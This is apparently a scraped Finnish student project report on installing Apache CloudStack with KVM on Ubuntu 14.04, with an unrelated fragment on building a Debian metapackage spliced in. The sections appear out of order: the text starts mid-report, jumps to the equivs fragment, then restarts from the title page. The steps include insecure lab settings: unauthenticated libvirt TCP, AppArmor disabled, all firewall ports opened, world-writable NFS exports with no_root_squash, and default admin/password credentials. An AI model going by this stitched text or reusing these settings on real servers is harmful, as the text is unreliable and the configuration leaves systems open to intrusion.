<p>Sitten tehtiin konfiguraatiot komennoilla:</p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/#listen_tls = 0/ a listen_tls = 0’ /etc/libvirt/libvirtd.conf</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/#listen_tcp = 1/ a listen_tcp = 1’ /etc/libvirt/libvirtd.conf</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/#tcp_port = “16509”/ a tcp_port = “16509”‘ /etc/libvirt/libvirtd.conf</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/#auth_tcp = “sasl”/ a auth_tcp = “none”‘ /etc/libvirt/libvirtd.conf</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Seuraavaksi konfiguroitiin libvirt-conf -tiedosto, josta otettiin aikaisempien tiedostojen tavoin aluksi varmuuskopio.</p>
<p><strong><em>$</em></strong><strong><em> cp /etc/default/libvirt-bin /etc/default/libvirt-bin.orig</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i -e ‘s/libvirtd_opts=”-d”/libvirtd_opts=”-d -l”/’ /etc/default/libvirt-bin</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Lopuksi käynnistettiin libvirt-bin uudelleen.</p>
<p><strong><em>$</em></strong><strong><em> service libvirt-bin restart</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Viimeiseksi konfiguroitiin vielä qemu.conf -tiedosto:</p>
<p><strong><em>$</em></strong><strong><em> cp /etc/libvirt/qemu.conf /etc/libvirt/qemu.conf.orig</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/# vnc_listen = “0.0.0.0”/ a vnc_listen = “0.0.0.0”‘ /etc/libvirt/qemu.conf</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Ja lopuksi palvelu käynnistettiin uudelleen.</p>
<p><strong><em>$</em></strong><strong><em> service libvirt-bin restart</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Seuraava vaihe oli AppArmorin poistaminen käytöstä, tämä tapahtui seuraavilla komennoilla:</p>
<p><strong><em>$</em></strong><strong><em> ln -s /etc/apparmor.d/usr.sbin.libvirtd /etc/apparmor.d/disable/</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ln -s /etc/apparmor.d/usr.lib.libvirt.virt-aa-helper /etc/apparmor.d/disable/</em></strong></p>
<p><strong><em>$</em></strong><strong><em> apparmor_parser -R /etc/apparmor.d/usr.sbin.libvirtd</em></strong></p>
<p><strong><em>$</em></strong><strong><em> apparmor_parser -R /etc/apparmor.d/usr.lib.libvirt.virt-aa-helper</em></strong></p>
<p> </p>
<p>Ja lopuksi taas uudelleenkäynnistys.</p>
<p><strong><em>$</em></strong><strong><em> service libvirt-bin restart</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Palomuurin asetukset Palomuuriin tehtiin seuraavat määritykset</p>
<p><strong><em>$</em></strong><strong><em> ufw allow proto tcp from any to any port 22</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ufw allow proto tcp from any to any port 1798</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ufw allow proto tcp from any to any port 16509</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ufw allow proto tcp from any to any port 5900:6100</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ufw allow proto tcp from any to any port 49152:49216</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Komentojen jälkeen palvelin käynnistettiin uudelleen ja testattiin, että NFS toimii edelleen.</p>
<p><strong><em>$</em></strong><strong><em> reboot</em></strong></p>
<p><strong><em>                      </em></strong><strong><em>$</em></strong><strong><em> rpcinfo -u 172.28.175.69 mount</em></strong></p>
<p><strong><em>$</em></strong><strong><em> showmount -e 172.28.175.69</em></strong></p>
<p>Uudelleenkäynnistyksen jälkeen hakemistot täytyi mountata uudelleen antamalla komennot:</p>
<p><strong><em>$</em></strong><strong><em> mount /mnt/primary</em></strong></p>
<p><strong><em>$</em></strong><strong><em> mount /mnt/secondary</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Seuraavaksi haettiin system template /mnt/secondary:</p>
<p><strong><em>$</em></strong><strong><em> /usr/share/cloudstack-common/scripts/storage/secondary/cloud-install-sys-tmplt  -m /mnt/secondary -u http://cloudstack.apt-get.eu/systemvm/4.4/systemvm64template-4.4.1-7-kvm.qcow2.bz2 -h kvm -F</em></strong></p>
<p><strong><em> </em></strong></p>
<h2><a name="_Toc469062785"></a>5.7      Käyttöliittymän testaus</h2>
<p> </p>
<p>Tässä vaiheessa pääsimme testaamaan CloudStackin graafisen käyttöliittymän toimintaa. Avasimme käyttöliittymän osoitteessa <a href="http://192.168.77.10:8080/client">http://192.168.77.10:8080/client</a>, mutta saimme tulokseksi 404 -virheilmoituksen. Tästä oli maininta myös ohjeessa, jota seurasimme ja siihen oli listattu komentoja, jotka voisi kokeilla ajaa virheen ilmetessä.</p>
<p> </p>
<p>Kokeilimme ajaa seuraavat komennot ohjeen mukaisessa järjestyksessä:</p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-management stop</em></strong></p>
<p><strong><em>$</em></strong><strong><em> service tomcat6 stop</em></strong></p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-agent stop</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ps -efl | grep java</em></strong></p>
<p><strong><em> </em></strong></p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-management start</em></strong></p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-management status</em></strong></p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-agent start</em></strong></p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-agent status</em></strong></p>
<p>Palveluiden uudelleenkäynnistämisen jälkeen käyttöliittymä aukesi.</p>
<p> </p>
<h2><a name="_Toc469062786"></a>5.8      Web-käyttöliittymä</h2>
<p>Web-käyttöliittymälle pääsee kirjautumaan tunnuksilla: admin, salasana: password.</p>
<p> </p>
<p>Alkuun latautuu Dashboard. Tästä näkee systeemin kapasiteetin ja Alert-ilmoitukset.</p>
<p> </p>
<p>Infrastructure-välilehdellä näkee käytössä olevat resurssit.</p>
<p>Instances-välilehdellä pääsee näkemään luodut virtuaalikoneet, käsitellä ne tai voidaan luoda uusia.</p>
<p> </p>
<p>Instanceen voidaan kirjautua Console-ikkunan avulla. Tässä näkee CentOS kone varasi IP-osoite Guest.</p>
<p> </p>
<p>TEMPLATES-välilehdellä on oletuksena ladatut templatet, joista voi luoda virtuaalikoneet.</p>
<p> </p>
<p>ISO-välilehdelle täytyy ladata levykuvat erikseen, koska oletuksena niitä ei ole.</p>
<p>ISO-levykuvat ladataan verkosta.</p>
<p> </p>
<p>PROJECT-välilehdellä voidaan luoda projekteja ja määritä niille käyttäjiä.</p>
<p> </p>
<p>Accounts-välilehdellä voidaan lisätä uusia käyttäjiä.</p>
<p> </p>
<p>Global Settings-välilehdellä pääsee muokkaamaan mm. hypervisorin asetuksia, kuten maksimi käyttäjämäärän jne. (käytössämme on KVM-hypervizor).</p>
<p> </p>
<p>Instance Size-välilehdellä voidaan luoda valmiiksi valittuja VM-kokonpanoja siis CPU, RAM, HDD.</p>
<p> </p>
<p> </p>
<h1><a name="_Toc469062788"></a>Lähteet</h1>
<p>Navi, Ravin. Apache CloudStack Computing. Luettavissa: <a href="http://site.ebrary.com/lib/haagahelia/detail.action?docID=10714265">http://site.ebrary.com/lib/haagahelia/detail.action?docID=10714265</a></p>
<p>Apache CloudStack 4.6 Installation Documentation. Luettavissa: <a href="http://docs.cloudstack.apache.org/projects/cloudstack-installation/en/4.6/">http://docs.cloudstack.apache.org/projects/cloudstack-installation/en/4.6/</a></p>
<p>Apache CloudStack 4.4 Installation Documentation. Luettavisa:</p>
<p><a href="http://docs.cloudstack.apache.org/projects/cloudstack-installation/en/4.4/">http://docs.cloudstack.apache.org/projects/cloudstack-installation/en/4.4/</a></p>
<p>Step by Step Apache CloudStack Installation -video. Katsottavissa:</p>
<p><a href="https://www.youtube.com/watch?v=ldG5LsP5new">https://www.youtube.com/watch?v=ldG5LsP5new</a></p>
<p>CloudStack Installation on Ubuntu Server using Virtualbox -video. Katsottavissa:</p>
<p><a href="https://www.youtube.com/watch?v=zsweF5rkc2I">https://www.youtube.com/watch?v=zsweF5rkc2I</a></p>
<p>CloudStack 4.4 Single Server on Ubuntu 14.04.1 with KVM</p>
<p><a href="http://www.greenhills.co.uk/2015/02/23/cloudstack-4.4-single-server-on-ubuntu-14.04.1-with-kvm.html">http://www.greenhills.co.uk/2015/02/23/cloudstack-4.4-single-server-on-ubuntu-14.04.1-with-kvm.html</a></p>
” data-medium-file=”” data-large-file=”” class=”alignnone size-full wp-image-145″ src=”https://pantsesnyi.files.wordpress.com/2016/04/package.png?w=720″ alt=”package” data-recalc-dims=”1″ />

Ajetaan equivs-build:lla  muokattu metapaketti.cfg komennolla

equivs-build metapaketti.cfg

build

paketin luonti onnistunut:

Seuraavaksi tarkistetaan paketin alex-pac_1.0_all.deb. Asensin lintian komennolla

sudo apt-get install lintian

Asennus on valmis. Tarkistin paketin komennolla

lintian alex-pac_1.0_all.deb

notexist

Tuli ilmoitus että tiedostoa ei löytynyt. Tarkistin mitä kansiossa on.

ls

cd metapaketti

lintian alex-pac_1.0_all.deb

Virheilmoitusta ei näkynyt. Paketti on valmis.

Asiensin gdebi komennolla

sudo apt-get install gdebi -y

gdebi

sudo gdebi -n alex-pac_1.0_all.deb

ohjelmat asensivat oikein.

REPREPRO

Asensin reprepro komennolla

sudo apt-get install reprepro

komennolla: lsb_release -a 

selvisin että käytössäni on  xenial 

Loin kansion ja nanolla tiedoston

mkdir -p repository/conf

nano repository/conf/distributions

rep

kun oli aikaa käynistää tein montaa kertaa saman virhen. Kirjoitin paketin sijainnin väärin  ( home/alex/metapaketti…….) sitten korjasin seuraavasti:

reprepro -VVVV -b repository/ includedeb xenial /home/alex/metapaketti/alex-pac_1.0_all.deb

reprepro

repository on luotu. Asensin komennolla

sudo apt-get install alex-pac

<p>
function googleTranslateElementInit() {
new google.translate.TranslateElement({pageLanguage: 'fi', layout: google.translate.TranslateElement.InlineLayout.HORIZONTAL, multilanguagePage: true}, 'google_translate_element');
}
//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit</p>
<p>Tänä syyslukukaudella olemme ryhmäni kansssa asentaneet CloudStack Ubuntulle. Asennuksia olivat yhteen koneseen ja kolmeen koneseen. tässä on siitä raportti.</p>
<h2>CloudStack-ympäristön luonti</h2>
<h3>(Ubuntu 14.04 & Hypervisor KVM)</h3>
<p> </p>
<p> </p>
<table width="103%">
<tbody>
<tr>
<td colspan="2" width="100%"><strong>Tekijä(t) </strong></p>
<p>Eelis Orvas, Aleksandr Pantsesnyi, Markus Tirronen, Jaakko Vehkamäki</p>
<p> </td>
</tr>
<tr>
<td colspan="2" width="100%"><strong>Koulutusohjelma:  Haaga-Helia Tietojenkäsittely<br />
</strong></td>
</tr>
<tr>
<td width="80%"><strong>Raportin nimi:   </strong>CloudStack-ympäristön luonti</td>
<td width="19%"><strong> </strong></p>
<p> </td>
</tr>
<tr>
<td colspan="2" width="100%"> </p>
<p>Tässä projektiraportissa kuvaillaan Apache CloudStack 4.4 ja  versioiden asennusta Single-node asennuksena, sekä Apache CloudStack 4.6 Multi-node asennuksena.</p>
<p> </td>
</tr>
<tr>
<td colspan="2" width="100%"><strong>Asiasanat</strong></p>
<p>CloudStack 4.4, Cloudstack 4.6, Ubuntu 14.04, Virtual machine Hypervisor KVM</td>
</tr>
</tbody>
</table>
<p> </p>
<p> </p>
<p>Sisällys</p>
<p><a name="_Toc175036408"></a><a href="#_Toc469062760">1    Johdanto</a></p>
<p><a href="#_Toc469062761">2    Lähtötilanne</a></p>
<p><a href="#_Toc469062762">2.1     Asennusohjeiden tutkiminen ja materiaalin hankinta</a></p>
<p><a href="#_Toc469062763">3    Siirtokovalevy määrittelyt </a></p>
<p><a href="#_Toc469062764">3.1     Käyttöjärjestelmän asennus ja asetusten määrittely</a></p>
<p><a href="#_Toc469062765">3.2     Verkkoasetukset </a></p>
<p><a href="#_Toc469062766">3.3     Etäyhteyden asennus</a></p>
<p><a href="#_Toc469062767">3.4     Apache2</a></p>
<p><a href="#_Toc469062768">3.5     Palomuuri</a></p>
<p><a href="#_Toc469062769">4    CloudStack-asennus siirtokovalevyille</a></p>
<p><a href="#_Toc469062770">4.1     Komponentit</a></p>
<p><a href="#_Toc469062771">4.2     NTP, SELinux, Repositoryt, MySQL ja cloudstack-management </a></p>
<p><a href="#_Toc469062772">4.3     NFS ja SystemVM template</a></p>
<p><a href="#_Toc469062773">4.4     KVM asennus ja konfigurointi</a></p>
<p><a href="#_Toc469062774">4.5     Cloudstack-konfigurointi</a></p>
<p><a href="#_Toc469062775">4.6     Käyttöliittymä</a></p>
<p><a href="#_Toc469062776">4.7     Reinstall-skripti</a></p>
<p><a href="#_Toc469062777">4.8     Ongelmia</a></p>
<p><a href="#_Toc469062778">5    Palvelinasennus (single node installation)</a></p>
<p><a href="#_Toc469062779">5.1     Alkutoimet</a></p>
<p><a href="#_Toc469062780">5.2     Linuxin asennus ja konfigurointi</a></p>
<p><a href="#_Toc469062781">5.3     IP-konfiguraatiot</a></p>
<p><a href="#_Toc469062782">5.4     ClousStackin asennus</a></p>
<p><a href="#_Toc469062783">5.5     MySQL serverin asennus</a></p>
<p><a href="#_Toc469062784">5.6     NFS asennus, export mount</a></p>
<p><a href="#_Toc469062785">5.7     Käyttöliittymän testaus</a></p>
<p><a href="#_Toc469062786">5.8     Web-käyttöliittymä</a></p>
<p> </p>
<p><a href="#_Toc469062788">Lähteet</a></p>
<p> </p>
<h1><a name="_Toc469062760"></a>1       Johdanto</h1>
<p>Raporttimme käsittelee CloudStack virtualisointialustan asennusta, kahdella eri tavalla. Tarkoituksena on asentaa CloudStack-ympäristö kolmelle siirtokovalevylle, joista yksi toimii Management-nodena, yksi Primary Storagena ja yksi Secondary Storagena. Toinen asennustapa on asentaa ympäristö yhdelle Haaga-Helian tarjoamalle palvelimelle. Projekti rajataan koskettamaan nimenomaan tämän ympäristön asennusta ja raportoimaan sen eri vaiheet.</p>
<p><strong><br />
</strong></p>
<h1><a name="_Toc175036409"></a><a name="_Toc166145015"></a><a name="_Toc469062761"></a>2       Lähtötilanne</h1>
<p>Ennen projektin toteuttamisen aloittamista teimme projektisuunnitelman, jossa suunnittelimme aikataulun ja alustavat vaiheet projektin toteuttamiseen. Minimitavoitteena oli luonnollisesti saada molemmat asennustoteutukset toimiviksi ja sen jälkeen katsoa kerkeisimmekö asentaa jonkinlaista seurantaohjelmistoa virtualisointialustalle. Oppimistavoitteina on oppia CloudStack-ympäristön asentaminen sujuvasti kahdella eri tavalla ja samalla tottua yhä enemmän Linuxin käyttämiseen. Päätimme aloittaa asennuksen ensimmäiseksi kolmelle siirtokovalevylle, koska mietimme sen syövän enemmän aikaa projektista.</p>
<p> </p>
<p> </p>
<h2><a name="_Toc469062762"></a>2.1      Asennusohjeiden tutkiminen ja materiaalin hankinta</h2>
<p>CloudStack on avoimen lähdekoodin virtualisointialusta, joten sen asennuksesta ja toiminnasta on saatavilla reilusti tietoa internetistä. Kurssin sivuille myös lisättiin vajaa 300-sivuinen Apache CloudStack Cloud Computing e-kirja, missä käydään läpi oikeastaan kaikki mahdollinen ympäristön asennuksesta. Ympäristön asennuksessa siirtokovalevyille päätimme kuitenkin seurata lähtökohtaisesti cloudstack.apache.org :n virallisia ohjeita.</p>
<p> </p>
<h1><a name="_Toc469062763"></a>3       Siirtokovalevy määrittelyt</h1>
<p>Ensimmäisenä tavoitteenamme oli asentaa CloudStack-ympäristö siirtokovalevyille. Siirtokovalevyt saimme Haaga-Helialta ja niiden koko oli 500GB/kappale. Siirtokovalevyjä käytimme luokassa 5005 olevilla labrakoneilla.</p>
<p> </p>
<h2><a name="_Toc469062764"></a>3.1      Käyttöjärjestelmän asennus ja asetusten määrittely</h2>
<p>Käyttöjärjestelmäksi valitsimme Ubuntu Server 14.04:sen, koska se oli helposti saatavilla koululta. Asensimme kaikkiin kolmeen siirtokovalevyyn käyttöjärjestelmän samaan aikaan. Teimme identtisen asennuksen kaikkiin, jossa määrittelimme 16384MB kokoisen swap arean ja 473GB kokoisen file arean. Asennuksissa valitsimme kieleksi Uuden-Seelannin (NZ), koska kyseisessä maassa on myös käytössä metrinen-järjestelmä. Maaksi valitsimme  Suomen (Finland).</p>
<p>Management siirtokovalevyn nimeksi tuli management.jp2cloud.com.</p>
<p>Primary Storage siirtokovalevyn nimeksi tuli primary.jp2cloud.com</p>
<p>Secondary Storage siirtokovalevyn nimeksi tuli secondary.jp2cloud.com</p>
<p> </p>
<h2><a name="_Toc469062765"></a>3.2      Verkkoasetukset</h2>
<p>Käytössämme meillä oli Harto Holmströmin antama koulun osoiteavaruus väliltä 172.28.175.31 – 172.28.175.39. Kaikille siirtokovalevyille asetettiin omat verkkoasetuksena tiedostoon <em>/etc/network/interfaces.</em></p>
<p>Saimme vielä myöhemmin projektin aikana marraskuun tienoilla toisenkin osoiteavaruuden käyttöön, sillä uskoimme, ettei tuo aiemmin annettu osoiteavaruus riitä. Saimme lisäksi IP-osoitteet 172.28.175.60 – 172.28.175.69 jotka toimivat myöhemmin erittäin tärkeässä roolissa projektin onnistumisen kannalta.</p>
<p><em> </em></p>
<p>Management.jp2cloud.com asennuksen tiedosto näytti tältä:</p>
<p><em># The primary network interface</em></p>
<p><em>auto em1</em></p>
<p><em>iface em1 inet static</em></p>
<p><em>                      address 172.28.175.31</em></p>
<p><em>                      netmask 255.255.0.0</em></p>
<p><em>                      gateway 172.28.1.254</em></p>
<p><em>                      dns-nameservers 172.28.170.201</em></p>
<p><em>                      dns-nameservers 172.28.170.202</em></p>
<p> </p>
<p>Primary.jp2cloud.com asennuksen tiedosto näytti tältä:</p>
<p><em># The primary network interface</em></p>
<p><em>auto em1</em></p>
<p><em>iface em1 inet static</em></p>
<p><em>                      address 172.28.175.32</em></p>
<p><em>                      netmask 255.255.0.0</em></p>
<p><em>                      gateway 172.28.1.254</em></p>
<p><em>                      dns-nameservers 172.28.170.201</em></p>
<p><em>                      dns-nameservers 172.28.170.202</em></p>
<p><em> </em></p>
<p><em> </em></p>
<p>Secondary.jp2cloud.com asennuksen tiedosto näytti tältä:</p>
<p><em># The primary network interface</em></p>
<p><em>auto em1</em></p>
<p><em>iface em1 inet static</em></p>
<p><em>                      address 172.28.175.33</em></p>
<p><em>                      netmask 255.255.0.0</em></p>
<p><em>                      gateway 172.28.1.254</em></p>
<p><em>                      dns-nameservers 172.28.170.201</em></p>
<p><em>                      dns-nameservers 172.28.170.202</em></p>
<p><em> </em></p>
<p>Kun asetukset oli määritelty tiedostoon, niin ajoimme tämän network interfacen alas komennolla <em>sudo ifconfig em1 down </em>ja takaisin ylös <em>sudo ifconfig em1 up.</em> Sen jälkeen tarkistimme <em>ifconfig </em>komennolla, että muutokset olivat tulleet voimaan.</p>
<p> </p>
<h2><a name="_Toc469062766"></a>3.3      Etäyhteyden asennus</h2>
<p>Verkkoasetusten ollessa kunnossa asensimme kaikille laitteillemme SSH- ohjelman mahdollista etäkäyttöä varten.</p>
<p> </p>
<h2><a name="_Toc469062767"></a>3.4      Apache2</h2>
<p>Varmuuden vuoksi asensimme vielä apache2:n ja PHP5- ohjelmat, jonka jälkeen testasimme niiden toiminnan ottamalla yhteyden erilliseltä koneelta localhostillemme ja tarkistamalla, että php-koodilla tehty plussauslasku laski itsensä oikein selaimen ruudulle.</p>
<h2><a name="_Toc469062768"></a>3.5      Palomuuri</h2>
<p>Tässä vaiheessa avasimme UFW palomuurista ainoastaan portit 22 ja 80, jotta saisimme koneeseen SSH-yhteyden ja Apache-webselaimeen yhteyden. Myöhemmin avasimme kaikki, sillä ilmeni useita ongelmia kun palomuurissa oli vain kaksi porttia auki.</p>
<p> </p>
<h1><a name="_Toc469062769"></a>4       CloudStack-asennus siirtokovalevyille.</h1>
<p>Tässä vaiheessa olimme saaneet asennettua ja konfiguroitua Ubuntuja riittävän pitkälle jotta pääsimme etenemään itse CloudStackin asennukseen.</p>
<h2><a name="_Toc469062770"></a>4.1      Komponentit</h2>
<p>CloudStack-asennuksen tärkeimpiä komponentteja ja paketteja on NFS, KVM, NTP, Tomcat ja muutamat CloudStack paketit.</p>
<p>Koska CloudStack on ohjelmoitu Javalla, tarvitsimme tähän Tomcat web-palvelimen. KVM oli käyttämämme hypervisor jolla virtuaalikoneet ympäristöön luotiin ja NFS (Network File Share) puolestaan teki mountin Primary storagen ja Management koneen sekä Secondary storagen ja Management koneen hakemistojen välille. Siten saimme provisioitua virtuaalikoneet Management koneella mutta NFS mountin ansiosta saimme virtuaalikoneiden levytilat talletettua Primary Storageen. Secondary Storagen mount oli väliaikainen, sillä sinne tarvitsimme ainoastaan System Vm-koneiden templatet.</p>
<h2><a name="_Toc469062771"></a>4.2      NTP, SELinux, Repositoryt, MySQL ja cloudstack-management</h2>
<p>Asennus aloitettiin KVM:n asennuksella ja konfiguroinnilla. Se on tärkein komponentti, sillä ilman KVM:ää ei virtualisointi onnistu.</p>
<p>Kun jokaiselle koneelle oli määritelty fully qualified domain name (secondary.jp2cloud.com, primary.jp2cloud.com ja management.jp2cloud.com), asensimme NTP:t jokaiselle koneelle ja laitoimme ne samaan aikaan. Asensimme Chrony nimisen NTP-palvelun</p>
<p>apt-get –y install chrony</p>
<p>Tämän jälkeen laitoimme SELinuxin permissive tilaan. Huomasimme että tähän tarvitsemme selinux-utils paketin. Asensimme sen siis ja laitoimme permissive tilaan</p>
<p>Apt-get –y install selinux-utils</p>
<p>Setenforce 0</p>
<p>Jotta pääsimme asentamaan CloudStack paketit, piti meidän lisätä CloudStackin repositoryt ubuntun sources listille:</p>
<p>Nano /etc/apt/sources.list.d/cloudstack.list</p>
<p>deb http://cloudstack.apt-get.eu/ubuntu trusty 4.6</p>
<p>Lisäsimme myös julkisen avaimen luotettuihin avaimiin:</p>
<p>wget -O – http://cloudstack.apt-get.eu/release.asc|apt-key add –</p>
<p>Nyt pystyimme asentamaan CloudStackin omia paketteja koska olimme lisänneet repositoryn.</p>
<p> </p>
<p>apt-get –y install cloudstack-management</p>
<p>CloudStack Managementtiin emme tässä välissä kajonneet vaan asensimme ja konfiguroimme MySQL:n:</p>
<p>apt-get –y install mysql-server</p>
<p>nano /etc/mysql/my.cnf</p>
<p>Laitoimme alla olevat rivit kyseiseen tiedostoon:</p>
<p>innodb_rollback_on_timeout=1</p>
<p>innodb_lock_wait_timeout=600</p>
<p>max_connections=350</p>
<p>log-bin=mysql-bin</p>
<p>binlog-format = ‘ROW’</p>
<p> </p>
<p>service mysql start</p>
<p>mysql_secure_installation</p>
<p>Alempaan komentoon laitoimme kaikkiin vaihtoehtoihin “yes”. Alla olevanna komennolla puolestaan laitoimme tietokannan käyttökuntoon:</p>
<p>cloudstack-setup-databases cloud:CloudStack12@localhost –deploy-as=root:CloudStack12</p>
<p>Kun tietokanta saatiin laitettua toimintakuntoon, laitoimme cloudstack-managementin toimintaan:</p>
<p>cloudstack-setup-management</p>
<p> </p>
<h2><a name="_Toc469062772"></a>4.3      NFS ja SystemVM template</h2>
<p>NFS-asennettiin komennolla:</p>
<p>apt-get –y install nfs-kernel-server</p>
<p>Teimme secondary- ja primary storageille mountattavat hakemistot:</p>
<p>/export/primary ja /export/secondary</p>
<p>Seuraavaksi piti tehdä storage-palvelimille tiedostoon muutoksia jotta NFS saatiin toimintaan:</p>
<p>nano /etc/exports</p>
<p>/export/primary  *(rw,async,no_root_squash,no_subtree_check)</p>
<p>/export/secondary  *(rw,async,no_root_squash,no_subtree_check)</p>
<p>Primary koneelle laitettiin /export/primary alkuinen rivi ja secondary koneelle laitettiin /export/secondary alkuinen rivi. Exportit saatiin toimintaan ajamalla storage-palvelimilla komento “exportfs –a”</p>
<p>Management koneelle luotiin hakemistot /mnt/secondary ja /mnt/primary joihin nuo mountit tehtiin ajamalla alla olevat komennot management koneella:</p>
<p>mount -t nfs 172.28.175.32:/export/primary /mnt/primary</p>
<p>mount -t nfs 172.28.175.33:/export/secondary /mnt/secondary</p>
<p>Alla olevilla komennoilla saatiin SystemVM template Secondary storagelle. Komennot ajettiin management koneella:</p>
<p>/usr/share/cloudstack-common/scripts/storage/secondary/cloud-install-sys-tmplt -m /mnt/secondary -u http://cloudstack.apt-get.eu/systemvm/4.6/systemvm64template-4.6.0-kvm.qcow2.bz2 -h kvm –F</p>
<p>umount -t nfs 172.28.175.33:/export/secondary /mnt/secondary</p>
<p>rmdir /mnt/secondary</p>
<h2><a name="_Toc469062773"></a>4.4      KVM asennus ja konfigurointi</h2>
<p>Asensimme cloudstack-agentin jotta pääsimme CloudStackin käyttöliittymään:</p>
<p>apt-get –y install cloudstack-agent</p>
<p>Teimme Libvirt asetuksiin pieniä muutoksia:</p>
<p>nano /etc/libvirt/libvirtd.conf</p>
<p>Lisäsimme seuraavat rivit:</p>
<p>listen_tls = 0</p>
<p>listen_tcp = 1</p>
<p>tcp_port = “16509”</p>
<p>auth_tcp = “none”</p>
<p>mdns_adv = 0</p>
<p>Lisäksi muokkasimme erästä riviä /etc/default/libvirt-bin tiedostossa seuraavanlaiseksi:</p>
<p>libvirtd_opts=”-d -l”</p>
<p>service libvirt-bin restart</p>
<p>Konfiguroimme Apparmoria seuraavilla komennoilla:</p>
<p>ln -s /etc/apparmor.d/usr.sbin.libvirtd /etc/apparmor.d/disable/</p>
<p>ln -s /etc/apparmor.d/usr.lib.libvirt.virt-aa-helper /etc/apparmor.d/disable/</p>
<p>apparmor_parser -R /etc/apparmor.d/usr.sbin.libvirtd</p>
<p>apparmor_parser -R /etc/apparmor.d/usr.lib.libvirt.virt-aa-helper</p>
<p>Seuraavaksi meidän oli konfiguroitava Management-koneen interfaces-tiedosto uudelleen jotta saisimme yhteyden CloudStackiin:</p>
<p># Public network</p>
<p>auto cloudbr0</p>
<p>iface cloudbro0 inet static</p>
<p>address 172.28.175.31</p>
<p>netmask 255.255.0.0</p>
<p>gateway 172.28.1.254</p>
<p>dns-nameservers 172.28.170.201 172.28.170.202</p>
<p>bridge_ports em1</p>
<p>bridge_fd 5</p>
<p>bridge_stp off</p>
<p>bridge_maxwait 1</p>
<p># Private network</p>
<p>auto cloudbr1</p>
<p>iface cloudbr1 inet manual</p>
<p>bridge_ports none</p>
<p>bridge_fd 5</p>
<p>bridge_stp off</p>
<p>bridge_maxwait 1</p>
<p>Tässä välissä avasimme ongelmien ennaltaehkäisyn takia palomuurista aivan kaikki auki.</p>
<p>Testasimme että pingaus toimii kumpaankin storageen, restarttasimme kaikki tarvittavat palvelut (mm. Tomcat, cloudstack-management, cloudstack-agent yms.) ja pääsimme kirjautumaan Web-käyttöliittymään käyttäjällä “admin” ja salasanalla “password”</p>
<p> </p>
<h2><a name="_Toc469062774"></a>4.5      Cloudstack-konfigurointi.</h2>
<p>Kun Cloudstack on saatu siihen kuntoon, että se pyörii management-koneella oli aika aloittaa konfigurointi niin sanotulla Dashboardilla. Osoitteeksi selaimeen laitettiin 172.28.175.31:8080/client, joka avaa meidän Cloudstack User Interfacen.</p>
<p><img class="wp-image-151 aligncenter" src="http://gomummi.com/wp-content/uploads/2016/12/1-web-littyma-300×153.png" alt="" width="619" height="315" /></p>
<p>Kirjautuminen ensimmäisellä kerralla tapahtuu tunnuksella: “admin” ja salasanalla “password”, domain jätetään tyhjäksi. Kun on kirjauduttu sisään, tulee sinun vaihtaa salasanasi, jonka jälkeen aukeaa näkymä, josta voit valita konfigurointitapasi. Eli valitset siis manuaalisen ja automatisoidun “wizardin” väliltä.</p>
<p><img class=" wp-image-152 aligncenter" src="http://gomummi.com/wp-content/uploads/2016/12/2-Hello-web-300×281.png" alt="" width="474" height="444" /></p>
<p>Me valitsimme tämän “wizard” vaihtoehdon, joka siis on vähän kuin step-by-step asennus. Kannattaa huomioida, että ip-osoitteiden määrittely on äärimmäisen tärkeää. Väärät osoitteet käytännössä kaatavat koko asennuksen ja CloudStack ei osaa ilmoittaa virheiden syytä mitenkään järkevällä tavalla. Teimme valehtelematta kymmeniä konfigurointeja, ennen kuin kaikki osui kohdilleen.</p>
<p>Konfigurointimme siinä järjestyksessä, kun ne tulevat wizardissa:</p>
<p> </p>
<p><strong>Zone: </strong></p>
<p>Name: Zone1</p>
<p>Dns1: 172.28.11.67</p>
<p>Internal Dns: 172.28.11.67</p>
<p> </p>
<p><strong>Pod:</strong></p>
<p>Name: Pod1</p>
<p>Gateway: 172.28.1.254</p>
<p>Netmask: 255.255.0.0</p>
<p>IP-Range: 172.28.175.34-39 (Tästä tulevat järjestelmän toimimiseen tarvittavien System VM:n IP-osoitteet. Pienellä asennuksella näitä osoitteita on oltava minimissään 2.)</p>
<p> </p>
<p><strong>Add Guest Network:</strong></p>
<p>Gateway: 172.28.1.254</p>
<p>Netmask: 255.255.0.0</p>
<p>IP-Range: 172.28.175.60-66.</p>
<p> </p>
<p><strong>Cluster:</strong></p>
<p>Hypervisor : KVM</p>
<p>Name: Cluster1</p>
<p> </p>
<p><strong>Host:</strong></p>
<p>Host Name: 172.28.175.31</p>
<p>Username: root</p>
<p>Password: xxxx (root-salasananne management-koneella.)</p>
<p> </p>
<p><strong>Primary Storage:</strong></p>
<p>Name: Primary</p>
<p>Protocol: NFS</p>
<p>Server: 172.28.175.32</p>
<p>Path : /export/primary</p>
<p> </p>
<p><strong>Secondary Storage:</strong></p>
<p>NFS Server: 172.28.175.33</p>
<p>Path: /export/secondary</p>
<p>Tämän jälkeen eteesi aukeaa ilmoitus, että olet valmis. Kun painat Launch, niin CloudStack alkaa konfiguroimaan järjestelmää antamillasi tiedoilla.</p>
<p> </p>
<h2><a name="_Toc469062775"></a>4.6      Käyttöliittymä</h2>
